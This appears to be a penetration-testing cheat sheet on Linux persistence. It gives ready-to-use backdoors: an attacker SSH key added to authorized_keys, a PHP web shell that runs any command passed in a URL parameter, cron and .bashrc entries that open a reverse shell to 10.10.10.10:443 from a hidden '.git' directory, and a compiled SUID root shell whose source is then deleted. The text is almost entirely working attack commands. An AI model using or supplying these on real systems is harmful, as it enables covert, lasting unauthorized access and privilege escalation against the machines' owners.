Linux Persistence

Linux Persistance

SSH Key

  • Can be root or normal user.

echo "SSH_PUB_KEY_HERE" > ~/.ssh/authorized_keys

PHP Backdoors

  • Most likely need to be root, depends on if apache2 is already running, as well as web root permissions for your current user.

  • On victim machine

sudo systemctl start apache2
cd /var/www/html 
nano ANKWTxiy11ugLHdaxJ.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Usage

http://target.com/ANKWTxiy11ugLHdaxJ.php?cmd=cat+/etc/passwd

Cron Job Backdoor

  • On target if root

mkdir /usr/lib/.git 
cd /usr/lib/.git
echo '#!/bin/bash 
bash -i >& /dev/tcp/10.10.10.10/443 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f' > .git 
chmod +x .git 
  • On target it not root

mkdir /var/tmp/.git 
cd /var/tmp/.git
echo '#!/bin/bash 
bash -i >& /dev/tcp/10.10.10.10/443 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f' > .git 
chmod +x .git
  • Create the cron Job

crontab -e
* * * * * /bin/bash -c /usr/lib/.git/.git 
* * * * * /bin/bash -c /var/tmp/.git/.git

Bashrc Backdoor

  • Can be used as the root or non root user

cd ~
echo 'bash -i >& /dev/tcp/10.10.10.10/443 0>&1 || rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f' >> ~/.bashrc
tail ~/.bashrc

SUID Binary

  • Need to be root, great backdoor if for example you found a priv-esc as a normal user and want an ability to priv-esc up in the future

  • Depends on having gcc on the target

which gcc 
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > boot.c
gcc -o boot boot.c
rm boot.c
chmod u+s boot
  • To trigger

./boot

Last updated